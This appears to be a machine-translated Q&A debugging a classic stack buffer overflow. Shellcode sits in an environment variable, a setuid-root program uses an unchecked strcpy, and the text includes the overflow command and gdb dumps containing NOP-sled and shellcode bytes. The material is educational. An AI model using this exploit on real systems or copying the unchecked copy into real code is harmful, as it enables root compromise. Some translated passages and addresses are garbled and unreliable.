C 使用缓冲区溢出执行存储在环境变量中的外壳代码
我使用下面的代码试图通过溢出searchstring变量来执行存储在环境变量中的外壳代码,以便main的返回地址包含一个环境变量的地址。但是,在printf命令之前,我遇到了一个分段错误C 使用缓冲区溢出执行存储在环境变量中的外壳代码,c,linux,segmentation-fault,buffer-overflow,exploit,C,Linux,Segmentation Fault,Buffer Overflow,Exploit,我使用下面的代码试图通过溢出searchstring变量来执行存储在环境变量中的外壳代码,以便main的返回地址包含一个环境变量的地址。但是,在printf命令之前,我遇到了一个分段错误 #include <stdio.h> #include <string.h> void main(int argc, char *argv[]){ char searchstring[100]; if(argc > 1) strcpy(sear
#include <stdio.h>
#include <string.h>
void main(int argc, char *argv[]){
char searchstring[100];
if(argc > 1)
strcpy(searchstring, argv[1]);
else // otherwise
searchstring[0] = 0;
printf("Here");
}
以禁用堆栈保护器并使堆栈可执行。我还通过修改/proc/sys/kernel/randomize_va_空间以包含0来禁用ASLR。我还将所有者和组更改为root用户:
sudo chown root:root overflow.o
sudo chmod u+s overflow.o
环境变量包含一个NoP SLED在SelelCd码之前,并且我确定地址0xFFFFD910位于NoP SLED的中间。因此,我使用
./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40')
但我们看到了一个分割错误
我使用gdb在main上设置了一个断点,然后逐步完成了指令。seg故障发生在到达printf命令之前,在seg故障之后立即检查堆栈指针和指令指针,我发现
(gdb) x/32x $esp
0xffffd910: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd920: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd930: 0x90909090 0x90909090 0xdb31c031 0xb099c931
0xffffd940: 0x6a80cda4 0x6851580b 0x68732f2f 0x69622f68
0xffffd950: 0x51e3896e 0x8953e289 0x0080cde1 0x4d524554
0xffffd960: 0x6574783d 0x53006d72 0x4c4c4548 0x69622f3d
0xffffd970: 0x61622f6e 0x58006873 0x4d5f4d44 0x47414e41
0xffffd980: 0x6d3d4445 0x6f687465 0x6c633d64 0x69737361
(gdb) x/x $eip
0x90909090: Cannot access memory at address 0x90909090
检查main的堆栈帧(之前在地址0xffffd460处发现)确认地址0xffffd910确实已复制到searchstring中:
(gdb) x/32x 0xffffd460
0xffffd460: 0xffffd49f 0xffffd49e 0xffffd590 0xffffd910
0xffffd470: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd480: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd490: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4a0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4b0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4c0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4d0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
我不明白为什么堆栈指针和指令指针跳到这些位置,即使main还没有完成执行?另外,为什么指令指针跳转到0x9090而不是0xffffd910?这是导致分段错误的原因,还是我不知道的堆栈保护
我意识到这是一个人为的例子,但我只是想知道发生了什么
谢谢 非常奇怪,以至于esp指向您的外壳代码。print“\x10\xd9\xff\xff”是环境变量的地址吗
它会导致segfault,因为在执行RET时,它会弹出%eip,但您的%esp指向0x9090,但您当然无法访问此地址。在查看汇编代码后,我已经知道发生了什么。代码的最后3行是
0x08048485 <+59>: mov ecx,DWORD PTR [ebp-0x4]
0x08048488 <+62>: leave
0x08048489 <+63>: lea esp,[ecx-0x4]
0x0804848c <+66>: ret
0x08048485:mov ecx,DWORD PTR[ebp-0x4]
0x08048488:离开
0x08048489:lea esp[ecx-0x4]
0x0804848c:ret
searchstring变量溢出会导致ebp-0x4处的数据被环境变量(0xffffd910)中NOP底座中间的地址覆盖。因此,上面的第1行将0xFFD910存储在ecx中
这意味着在上面的第3行中,ecx-0x4=0xffffd910-0x4=0xffff90c,该地址存储在esp中。存储在该地址的数据是0x909090(因为我们仍在NOP底座的中间)。最后,在上面的最后一行中,这个数据作为main()的返回地址从堆栈中弹出,这就是为什么我们最终得到的是eip=0x909090,弹出操作意味着esp被移回0xffff90c+0x4=0xffffd910
我的错误一直是假设main()函数在返回地址方面的行为与其他函数类似。C没有“返回地址”的概念-这些是实现细节-在我的Arch Linux机器上使用gcc multilib 4.9.2-1,这就是它的实现方式。Yes“\x10\xd9\xff\xff”是环境变量的地址。是什么导致esp指向这一点?在我看来,这毫无意义。你能试试perl-e“打印”一个“x200”吗?您应该有segfault并看到$eip=0x6161no,我有一个seg故障,但是$esp=0x413d(我不知道3d来自哪里)$由于显然$esp无法访问,所以eip保留为RET指令的地址。这太奇怪了。。您可以尝试用缓冲区的地址覆盖ESP,并在缓冲区中放置环境变量的地址:因此注入看起来像:|环境变量的地址,环境变量的地址..缓冲区的地址|是的,我可以解决它,但我还是很想知道发生了什么,我遇到了同样的问题。该“lea”指令使eip寄存器指向0x9090,而不是nop底座地址。你找到解决办法了吗?
0x08048485 <+59>: mov ecx,DWORD PTR [ebp-0x4]
0x08048488 <+62>: leave
0x08048489 <+63>: lea esp,[ecx-0x4]
0x0804848c <+66>: ret